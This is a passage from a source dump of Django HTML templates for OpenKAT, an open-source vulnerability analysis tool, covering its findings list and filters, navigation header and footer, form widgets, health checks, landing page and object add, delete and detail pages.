button\"\n                                               href=\"{% ooi_url 'ooi_graph' hydrated_finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Graph\" %}</a>\n                                        </td>\n                                        <td class=\"actions sticky-cell\">\n                                            <button type=\"button\"\n                                                    class=\"expando-button\"\n                                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                                {% translate \"Open details\" %}\n                                            </button>\n                                        </td>\n                                    </tr>\n                                    <tr class=\"expando-row\">\n                                        <td colspan=\"7\">\n                                            <div>\n                                                <dl>\n                                                    <div>\n                                                        <dt>{% translate \"Finding type\" %}</dt>\n                                                        <dd>\n                                                            <a href=\"{% ooi_url \"ooi_detail\" hydrated_finding.finding_type organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                                               title=\"{% blocktranslate trimmed with finding_type=hydrated_finding.finding_type.human_readable %} Show details for {{ finding_type }} {% endblocktranslate %}\">{{ hydrated_finding.finding_type.human_readable }}</a>\n                                                        </dd>\n                                                    </div>\n                                                    <div>\n                                                        <dt>{% translate \"OOI type\" %}</dt>\n                                                        <dd>\n                                                            <a href=\"{% url \"ooi_list\" organization_code=organization.code %}?observed_at={{ observed_at }}&ooi_type={{ hydrated_finding.ooi.object_type }}\"\n                                                               title=\"{% blocktranslate trimmed with ooi_type=hydrated_finding.ooi.object_type %} Show {{ ooi_type }} objects {% endblocktranslate %}\">{{ hydrated_finding.ooi.object_type }}</a>\n                                                        </dd>\n                                                    </div>\n                                                    <div>\n                                                        <dt>{% translate \"Risk score\" %}</dt>\n                                                        <dd>\n                                                            {{ hydrated_finding.finding_type.risk_score }}\n                                                        </dd>\n                                                    </div>\n                                                    <div>\n                                                        <dt>{% translate \"Description\" %}</dt>\n                                                        <dd>\n                                                            {{ hydrated_finding.finding_type.description }}\n                                                        </dd>\n                                                    </div>\n                                                    {% if hydrated_finding.finding_type.recommendation %}\n                                                        <div>\n                                                            <dt>{% translate \"Recommendation\" %}</dt>\n                                                            <dd>\n                                                                {{ hydrated_finding.finding_type.recommendation }}\n                                                            </dd>\n                                                        </div>\n                                                    {% endif %}\n                                                    {% if hydrated_finding.finding_type.source %}\n                                                        <div>\n                                                            <dt>{% translate \"Source\" %}</dt>\n                                                            <dd>\n                                                                {{ hydrated_finding.finding_type.source }}\n                                                            </dd>\n                                                        </div>\n                                                    {% endif %}\n                                                    {% if hydrated_finding.finding_type.impact %}\n                                                        <div>\n                                                            <dt>{% translate \"Impact\" %}</dt>\n                                                            <dd>\n                                                                {{ hydrated_finding.finding_type.impact }}\n                                                            </dd>\n                                                        </div>\n                                                    {% endif %}\n                                                </dl>\n                                            </div>\n                                        </td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                        {% include \"partials/list_paginator.html\" %}\n\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/findings/findings_filter.html",
    "content": "{% load i18n %}\n\n<div class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label='{% translate \"Hide filters\" %}'>\n            {% translate \"Show filters\" %}\n            {% if active_filters_counter > 0 %}\n                ({{ active_filters_counter }} {% translate \"applied\" %})\n            {% endif %}\n        </button>\n    </div>\n    <form id=\"finding-list\" method=\"get\" class=\"help\">\n        {% include \"partials/form/fieldset.html\" with fields=observed_at_form %}\n        {% include \"partials/form/fieldset.html\" with fields=severity_filter fieldset_class=\"filter-fields-direction column\" %}\n        {% include \"partials/form/fieldset.html\" with fields=muted_findings_filter fieldset_class=\"filter-fields-direction column\" %}\n        {% include \"partials/form/fieldset.html\" with fields=finding_search_form %}\n\n        {{ order_by_severity_form }}\n        {{ order_by_finding_type_form }}\n        <input type=\"hidden\"\n               name=\"sorting_order\"\n               value=\"{% if sorting_order == \"asc\" %}desc{% else %}asc{% endif %}\">\n        <div class=\"button-container\">\n            <input type=\"submit\"\n                   value=\"{% if submit_text %}{{ submit_text }}{% else %}{% translate \"Set filters\" %}{% endif %}\" />\n            <a href=\"{{ request.path }}\" class=\"button ghost\">{% translate \"Clear filters\" %}</a>\n        </div>\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/footer.html",
    "content": "{% load static %}\n{% load i18n %}\n\n<footer id=\"page-footer\">\n    <span>Kwetsbaarheden Analyse Tool</span>\n    {% if request.user.is_authenticated %}<span>{{ rocky_version }}</span>{% endif %}\n    <nav aria-labelledby=\"footer-nav-1\">\n        <h1 id=\"footer-nav-1\" class=\"visually-hidden\">{% translate \"Service\" %}</h1>\n        <ul>\n            <li>\n                <a href=\"{% url \"crisis_room\" %}\">OpenKAT</a>\n            </li>\n            <li>\n                <a href=\"{% url \"privacy_statement\" %}\">{% translate \"Privacy Statement\" %}</a>\n            </li>\n            {% if organization %}\n                <li>\n                    <a href=\"{% url \"health_beautified\" organization_code=organization.code %}\">{% translate \"Health\" %}</a>\n                </li>\n            {% endif %}\n        </ul>\n    </nav>\n</footer>\n<script src=\"{% static \"js/dropdown.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n"
  },
  {
    "path": "rocky/rocky/templates/forms/json_schema_form.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<form method=\"post\" class=\"indented-form\">\n    {% csrf_token %}\n    <fieldset class=\"indented\">\n        <input type=\"hidden\" name=\"action\" value=\"submit_answer\">\n        <textarea name=\"schema\" class=\"JsonSchemaForm\">\n      {{ json_schema }}\n    </textarea>\n        <legend>{% translate \"Fill out this form to answer the Question (again):\" %}</legend>\n    </fieldset>\n    <button type=\"submit\">{% translate \"Submit\" %}</button>\n</form>\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/checkbox_group_boefje_tiles.html",
    "content": "{% load i18n %}\n\n{% with id=widget.attrs.id %}\n    <div {% if id %}id=\"{{ id }}\"{% endif %}\n         class=\"column-4 plugins tiles images-cover {% if widget.attrs.class %}{{ widget.attrs.class }}{% endif %}\">\n        {% for group, options, index in widget.optgroups %}\n            {% for option in options %}\n                {% include option.template_name with widget=option item=option.boefje %}\n\n            {% endfor %}\n        {% endfor %}\n    </div>\n{% endwith %}\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/checkbox_group_columns.html",
    "content": "{% load i18n %}\n\n{% with id=widget.attrs.id %}\n    <div class=\"horizontal-view-group\"\n         {% if id %}id=\"{{ id }}\"{% endif %}\n         {% if widget.attrs.class %}class=\"checkbox-group {{ widget.attrs.class }}\"{% endif %}>\n        {% for group, options, index in widget.optgroups %}\n            {% if group %}\n                {{ group }}\n                <div {% if id %}id=\"{{ id }}_{{ index }}\"{% endif %}>\n                {% endif %}\n                {% for option in options %}\n                    <div>\n                        {% include option.template_name with widget=option %}\n\n                    </div>\n                {% endfor %}\n                {% if group %}</div>{% endif %}\n        {% endfor %}\n    </div>\n{% endwith %}\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/checkbox_group_table.html",
    "content": "{% load i18n %}\n\n{% with id=widget.attrs.id %}\n    <div {% if id %}id=\"{{ id }}\"{% endif %}\n         class=\"checkbox-group-table {% if widget.attrs.class %}{{ widget.attrs.class }}{% endif %}\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Object list\" %}</caption>\n            <thead>\n                <tr>\n                    <th>\n                        {# TODO: data-toggle-target is not model-agnostic like the rest of the table #}\n                        {% if widget.options|length > 1 %}<input class=\"toggle-all\" data-toggle-target=\"ooi\" type=\"checkbox\">{% endif %}\n                    </th>\n                    {% for column_name in widget.column_names %}<th>{{ column_name }}</th>{% endfor %}\n                </tr>\n            </thead>\n            <tbody>\n                {% for option in widget.options %}\n                    <tr>\n                        <td>\n                            {% include option.template_name with widget=option %}\n\n                            {% if option.attrs.required %}\n                                <span class=\"nota-bene\">({% translate \"Required\" %})</span>\n                            {% endif %}\n                        </td>\n                        {% for cell in option.label %}\n                            <td>\n                                <label {% if option.attrs.id %}for=\"{{ option.attrs.id }}\"{% endif %}>\n                                    {% with cell_template=widget.column_templates|index:forloop.counter0 %}\n                                        {% if cell_template %}\n                                            {% include cell_template with value=cell organization_code=widget.attrs.organization_code mandatory_fields=widget.attrs.mandatory_fields %}\n\n                                        {% else %}\n                                            {{ cell }}\n                                        {% endif %}\n                                    {% endwith %}\n                                </label>\n                            </td>\n                        {% endfor %}\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% endwith %}\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/checkbox_option.html",
    "content": "{% include \"forms/widgets/input_option.html\" %}\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/datalist.html",
    "content": "<input list=\"{{ widget.name }}-choices\" type=\"{{ widget.type }}\" name=\"{{ widget.name }}\"{% if widget.value != None %} value=\"{{ widget.value|stringformat:'s' }}\"{% endif %}{% include \"django/forms/widgets/attrs.html\" %}\n    >\n    <datalist id=\"{{ widget.name }}-choices\"{% include \"django/forms/widgets/attrs.html\" %}\n        >\n        {% for group_name, group_choices, group_index in widget.optgroups %}\n            {% for option in group_choices %}\n                {% include option.template_name with widget=option %}\n\n            {% endfor %}\n        {% endfor %}\n    </datalist>\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/input_option.html",
    "content": "{% include \"django/forms/widgets/input.html\" %}\n\n{% if widget.wrap_label %}\n    {% include \"forms/widgets/widget_label.html\" %}\n\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/forms/widgets/widget_label.html",
    "content": "<label {% if widget.attrs.id %}for=\"{{ widget.attrs.id }}\"{% endif %}>{{ widget.label }}</label>\n"
  },
  {
    "path": "rocky/rocky/templates/graph-d3.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <div id=\"graph-selector\" hidden></div>\n        <section>\n            <div>\n                {% include \"partials/ooi_head.html\" with ooi=ooi view=\"graph\" %}\n\n                <p>\n                    {% translate \"Click a circle to collapse / expand the tree, click the text to view the tree from that OOI and hover over the text to see details.\" %}\n                </p>\n                {% translate \"Tree graph\" as filter_title %}\n                {% include \"partials/ooi_list_filters.html\" with title=filter_title ooi_id=ooi.primary_key %}\n\n            </div>\n        </section>\n        <div>\n            <div class=\"graph-wrapper\" id=\"graph-wrapper\">\n                <div id=\"graph-selector\" hidden></div>\n                <div class=\"graph-d3\"></div>\n                <div class=\"graph-overlay graph-overlay--centered is-hidden\"></div>\n            </div>\n        </div>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    {{ ooi_types|json_script:\"ooi-types\" }}\n    {{ tree|json_script:\"tree-data\" }}\n    <script src=\"{% static \"js/stringHelpers.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"dist/imports/graph.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <link href=\"{% static \"dist/imports/graph.css\" %}\" rel=\"stylesheet\">\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/head.html",
    "content": "{% load static %}\n\n<head>\n    <title>OpenKAT - {{ request.resolver_match.url_name }}</title>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <link rel=\"shortcut icon\" href=\"{% static \"img/favicon.svg\" %}\" />\n    <link href=\"{% static \"dist/app.css\" %}\" rel=\"stylesheet\">\n    <script defer src=\"{% static \"dist/imports/manon.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n</head>\n"
  },
  {
    "path": "rocky/rocky/templates/header.html",
    "content": "{% load static %}\n{% load i18n %}\n\n<header id=\"page-header\">\n    {% include \"partials/skip-to-content.html\" %}\n\n    <nav data-open-label=\"{% translate \"Menu\" %}\"\n         data-close-label=\"{% translate \"Close menu\" %}\"\n         data-media=\"(min-width: 70rem)\"\n         aria-label=\"{% translate \"Main navigation\" %}\"\n         class=\"collapsible\">\n        <div>\n            <a href=\"{% url \"landing_page\" %}\"\n               class=\"logo\"\n               title=\"OpenKAT\"\n               aria-label=\"{% translate \"OpenKAT logo, go to the homepage of OpenKAT\" %}\">\n                <img src=\"{% static 'img/kat_logo.png' %}\" alt=\"{% translate \"OpenKAT\" %}\" />\n                Kwetsbaarheden Analyse Tool\n            </a>\n            {% if request.user.is_authenticated %}\n                {% if not view_type == \"onboarding\" %}\n                    {% include \"partials/organizations_menu_dropdown.html\" %}\n\n                {% endif %}\n            {% endif %}\n            <div class=\"collapsing-element\">\n                <ul>\n                    {% if request.user.is_authenticated %}\n                        {% if not organization.code %}\n                            {% url \"crisis_room\" as index_url %}\n                            <li>\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url == request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Crisis room\" %}</a>\n                            </li>\n                            <li>\n                                {% url \"all_task_list\" as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Tasks\" %}</a>\n                            </li>\n                        {% else %}\n                            <li>\n                                {% url \"organization_crisis_room_landing\" organization.code as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url == request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Crisis room\" %}</a>\n                            </li>\n                        {% endif %}\n                        {% if organization.code and not view_type == \"onboarding\" %}\n                            {% url \"katalogus\" organization.code as index_url %}\n                            <li>\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"KAT-alogus\" %}</a>\n                            </li>\n                            <li>\n                                {% url \"finding_list\" organization.code as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Findings\" %}</a>\n                            </li>\n                            <li>\n                                {% url \"reports\" organization.code as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Reports\" %}</a>\n                            </li>\n                            <li>\n                                {% url \"ooi_list\" organization.code as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Objects\" %}</a>\n                            </li>\n                            <li>\n                                {% url \"task_list\" organization.code as index_url %}\n                                <a href=\"{{ index_url }}\"\n                                   {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Tasks\" %}</a>\n                            </li>\n                            {% if request.user.is_superuser or perms.tools.view_organization %}\n                                <li>\n                                    {% url \"organization_member_list\" organization.code as index_url %}\n                                    <a href=\"{{ index_url }}\"\n                                       {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Members\" %}</a>\n                                </li>\n                                <li>\n                                    {% url \"organization_settings\" organization.code as index_url %}\n                                    <a href=\"{{ index_url }}\"\n                                       {% if index_url in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Settings\" %}</a>\n                                </li>\n                            {% endif %}\n                        {% endif %}\n                    {% endif %}\n                </ul>\n                <div>\n                    {% include \"partials/language-switcher.html\" %}\n                    {% include \"partials/secondary-menu.html\" %}\n\n                </div>\n            </div>\n        </div>\n    </nav>\n    {% if breadcrumbs %}\n        <nav class=\"breadcrumb-bar\" aria-label=\"{% translate \"Breadcrumbs\" %}\">\n            <div>\n                <ul>\n                    {% for breadcrumb in breadcrumbs %}\n                        {% if forloop.last %}\n                            <li>\n                                <a aria-current=\"true\" href=\"{{ breadcrumb.url }}\">{{ breadcrumb.text }}</a>\n                            </li>\n                        {% else %}\n                            <li>\n                                <a href=\"{{ breadcrumb.url }}\">{{ breadcrumb.text }}</a>\n                            </li>\n                        {% endif %}\n                    {% endfor %}\n                </ul>\n            </div>\n        </nav>\n    {% endif %}\n</header>\n{% include \"partials/notifications_block.html\" %}\n"
  },
  {
    "path": "rocky/rocky/templates/health.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Health Checks\" %}</h1>\n                <div class=\"horizontal-scroll\">\n                    <caption class=\"visually-hidden\">{% translate \"Health checks\" %}</caption>\n                    <table>\n                        <thead>\n                            <tr>\n                                <th scope=\"col\">{% translate \"Service\" %}</th>\n                                <th scope=\"col\">{% translate \"Healthy\" %}</th>\n                                <th scope=\"col\">{% translate \"Version\" %}</th>\n                                <th scope=\"col\">{% translate \"Additional\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for service in health_checks %}\n                                <tr>\n                                    <td>\n                                        {% if service.service %}\n                                            {{ service.service }}\n                                        {% else %}\n                                            -\n                                        {% endif %}\n                                    </td>\n                                    <td class=\"{% if service.healthy %}confirmation{% else %}error{% endif %}\">\n                                        {% if service.healthy %}\n                                            {{ service.healthy }}\n                                        {% else %}\n                                            -\n                                        {% endif %}\n                                    </td>\n                                    <td>\n                                        {% if service.version %}\n                                            {{ service.version }}\n                                        {% else %}\n                                            -\n                                        {% endif %}\n                                    </td>\n                                    <td>\n                                        {% if service.additional %}\n                                            {{ service.additional }}\n                                        {% else %}\n                                            -\n                                        {% endif %}\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/indemnification_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                {% if indemnification_present %}\n                    {% include \"indemnification_present.html\" %}\n\n                {% else %}\n                    {% include \"partials/form/indemnification_add_form.html\" %}\n\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/indemnification_present.html",
    "content": "{% load i18n %}\n\n<h1>{% translate \"Indemnification\" %}</h1>\n<div class=\"explanation\">\n    <div>\n        <p>{% translate \"Indemnification on the organization present. You may now add objects and start scans.\" %}</p>\n        <div class=\"horizontal-view\">\n            <a href=\"{% url 'ooi_list' organization.code %}\" class=\"button ghost\">{% translate \"Go to Objects\" %}</a>\n            <a href=\"{% url \"katalogus\" organization.code %}\" class=\"button ghost\">{% translate \"Go to\" %} KAT-alogus</a>\n        </div>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/landing_page.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section class=\"hero\">\n            <img src=\"{% static \"img/keiko.jpg\" %}\" alt=\"Keiko image\">\n            <div class=\"one-third-two-thirds\">\n                <div class=\"tile\">\n                    <h1>{% translate \"Welcome to OpenKAT\" %}</h1>\n                    <h2>{% translate \"Kwetsbaarheden Analyse Tool\" %}</h2>\n                    <p>\n                        OpenKAT is a vulnerability analysis tool. An Open Source-project developed by the Ministry of Health, Welfare and Sport to make your and our world safer.\n                    </p>\n                </div>\n            </div>\n        </section>\n        <section class=\"background-color-offset condensed\" id=\"OpenKAT\">\n            <div>\n                <h2>{% translate \"What is OpenKAT?\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT is a vulnerability analysis tool.\n                        An Open Source-project developed by the Ministry of Health,\n                        Welfare and Sport to make your and our world safer.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            <div class=\"column-2\">\n                <div>\n                    <h3>\n                        <span class=\"icon ti-eye\">Eye icon</span> {% translate \"OpenKAT sees\" %}\n                    </h3>\n                    <p>\n                        {% translate \"Dozens of tools are integrated in OpenKAT to view the world (digital and analog).\" %}\n                        <br>\n                        {% translate \"Our motto is therefore: I see, I see, what you do not see.\" %}\n                    </p>\n                </div>\n                <div>\n                    <h3>\n                        <span class=\"icon ti-bulb\">Lightbulb icon</span> {% translate \"OpenKAT knows\" %}\n                    </h3>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            OpenKAT does not forget (just like that), and can be queried without scanning again.\n                            Also about a historical situation.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                <div>\n                    <h3>\n                        <span class=\"icon ti-lock\">Lock icon</span> {% translate \"OpenKAT is secure\" %}\n                    </h3>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Forensically secured storage of evidence is one of the basic ingredients of OpenKAT.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n                <div>\n                    <h3>\n                        <span class=\"icon ti-heart\">Heart icon</span> {% translate \"OpenKAT is sweet\" %}\n                    </h3>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            OpenKAT thinks about privacy, and stores what is necessary,\n                            within the rules of your organization and the law.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </div>\n        </section>\n        <section>\n            <div>\n                <h3>{% translate \"A wide playing field\" %}</h3>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT makes a copy of the actual reality by means of the integrated tools.\n                        Within this copy you can search for answers to countless security and policy questions.\n                        Expected and unexpected changes in the world are made visible,\n                        and where necessary reported or made known directly to the right people.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/layouts/base.html",
    "content": "<!DOCTYPE html>\n{% load static %}\n{% load i18n %}\n\n{% get_current_language as LANGUAGE_CODE %}\n<html lang=\"{{ LANGUAGE_CODE }}\"\n      data-organization-code=\"{{ organization.code }}\">\n    {% block head %}\n        {% include \"head.html\" %}\n\n    {% endblock head %}\n    <body>\n        {% block content_wrapper %}\n            {% block content %}\n            {% endblock content %}\n        {% endblock content_wrapper %}\n        {% include \"footer.html\" %}\n\n        {% block html_at_end_body %}\n        {% endblock html_at_end_body %}\n    </body>\n</html>\n"
  },
  {
    "path": "rocky/rocky/templates/legal/privacy_statement.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"privacy-statement\">\n        <section>\n            <div>\n                <h1>{% translate \"OpenKAT Privacy Statement\" %}</h1>\n                <p>\n                    {% blocktranslate trimmed %}\n                        OpenKAT is dedicated to protecting the confidentiality and privacy of information entrusted to it.\n                        As part of this fundamental obligation, OpenKAT is committed to the appropriate protection and use of\n                        personal information (sometimes referred to as \"personal data\",\n                        \"personally identifiable information\" or \"PII\") that has been collected online.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/error.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Object List\" %}</h1>\n                <p>{% translate \"An error occurred. Please contact a system administrator.\" %}</p>\n                {% include \"partials/ooi_list_toolbar.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    {% translate type as display_type %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <article>\n            <div class=\"layout-form\">\n                <h1>{% blocktranslate %}Add a {{ display_type }}{% endblocktranslate %}</h1>\n                <p>{% translate \"Here you can add the asset of the client. Findings can be added to these in the findings page.\" %}</p>\n                <form method=\"post\">\n                    {% csrf_token %}\n                    {% if form.non_field_errors %}<div class=\"warning\">{{ form.non_field_errors }}</div>{% endif %}\n                    <fieldset>\n                        <div>\n                            <label for=\"ooi_type\">Type</label>\n                            <input id=\"ooi_type\" type=\"text\" name=\"ooi_type\" value=\"{{ type }}\" readonly>\n                        </div>\n                        <div>\n                            <label for=\"user\">Owner</label>\n                            <input id=\"user\" type=\"text\" name=\"user\" value=\"{{ user }}\" readonly>\n                        </div>\n                        {% for field in form %}\n                            {% include \"partials/form/field_input_wrapper.html\" %}\n\n                        {% endfor %}\n                    </fieldset>\n                    <button type=\"submit\">{% blocktranslate %}Add {{ display_type }}{% endblocktranslate %}</button>\n                </form>\n            </div>\n        </article>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_add_type_select.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% url \"object\" ooi.primary_key as ooi_detail_url %}\n    {% include \"header.html\" with breadcrumbList=breadcrumbList %}\n\n    <main class=\"report-tmp\" id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Add object\" %}</h1>\n                <p>{% translate \"Select the type of object you want to create.\" %}</p>\n                {% include \"partials/elements/ooi_add_type_select_form.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_delete.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% translate ooi.get_ooi_type as display_type %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% blocktranslate with primary_key=ooi.primary_key %}Delete {{ primary_key }}{% endblocktranslate %}</h1>\n                <p>{% translate \"Are you sure?\" %}</p>\n                <p>{% blocktranslate %}Here you can delete the {{ display_type }}.{% endblocktranslate %}</p>\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption class=\"visually-hidden\">{% translate \"To be deleted object(s)\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>{% translate \"Key\" %}</th>\n                                <th>{% translate \"Value\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for key, value in props.items %}\n                                <tr>\n                                    <td>{{ key }}</td>\n                                    <td>{{ value }}</td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n                {% if not ooi|is_finding_type %}\n                    <form class=\"inline\" method=\"post\">\n                        {% csrf_token %}\n                        <div class=\"button-container\">\n                            <button type=\"submit\" class=\"destructive\">{% blocktranslate %}Delete {{ display_type }}{% endblocktranslate %}</button>\n                            <a href=\"{% ooi_url 'ooi_detail' ooi.primary_key organization.code %}\"\n                               class=\"button ghost\">{% translate \"Cancel\" %}</a>\n                        </div>\n                    </form>\n                {% else %}\n                    <p>{% translate \"Deletion not possible for types: KATFindingType and CVEFindingType\" %}</p>\n                    <div class=\"button-container\">\n                        <a href=\"{% ooi_url 'ooi_detail' ooi.primary_key organization.code %}\"\n                           class=\"button ghost\">{% translate \"Cancel\" %}</a>\n                    </div>\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% if ooi_past_due %}\n                {% include \"oois/ooi_past_due_warning.html\" with ooi_current=ooi_current %}\n\n            {% endif %}\n            {% include \"partials/ooi_head.html\" with ooi=ooi view=\"ooi_detail\" %}\n\n            <div>\n                {% include \"oois/ooi_detail_object.html\" with ooi=ooi object_details=object_details %}\n\n                {% if is_question %}\n                    {% if current_config %}\n                        {% include \"partials/current_config.html\" with config=current_config %}\n\n                    {% endif %}\n                    {% include \"forms/json_schema_form.html\" with json_schema=ooi.json_schema %}\n\n                {% endif %}\n            </div>\n            {% include \"oois/ooi_detail_origins_declarations.html\" %}\n            {% include \"oois/ooi_detail_origins_observations.html\" %}\n            {% include \"oois/ooi_detail_origins_inference.html\" %}\n            {% include \"partials/ooi_detail_related_object.html\" with query=mandatory_fields ooi_past_due=ooi_past_due related=related ooi=ooi %}\n            {% include \"tasks/ooi_detail_task_list.html\" %}\n\n            {% if not ooi|is_finding and not ooi|is_finding_type %}\n                <div>\n                    {% include \"oois/ooi_detail_findings_overview.html\" with severity_summary=findings_severity_summary severity_summary_totals=severity_summary_totals %}\n\n                </div>\n            {% endif %}\n            <div>\n                <h2>{% translate \"Scan\" %} {% translate \"using boefjes\" %}</h2>\n                <div class=\"horizontal-view\">\n                    <div>\n                        <form id=\"show_all_boefjes\"\n                              method=\"get\"\n                              action=\"#show_all_boefjes\"\n                              class=\"inline\">\n                            <input type=\"hidden\" name=\"ooi_id\" value=\"{{ ooi }}\">\n                            {% include \"partials/form/form_errors.html\" with form=possible_boefjes_filter_form %}\n\n                            {% for field in possible_boefjes_filter_form %}\n                                <fieldset>\n                                    {{ field }}\n                                </fieldset>\n                            {% endfor %}\n                        </form>\n                    </div>\n                </div>\n                {% if not organization_indemnification %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"indemnification warning\" %}\">\n                        {% url \"organization_settings\" organization.code as organization_settings %}\n                        {% blocktranslate trimmed %}\n                            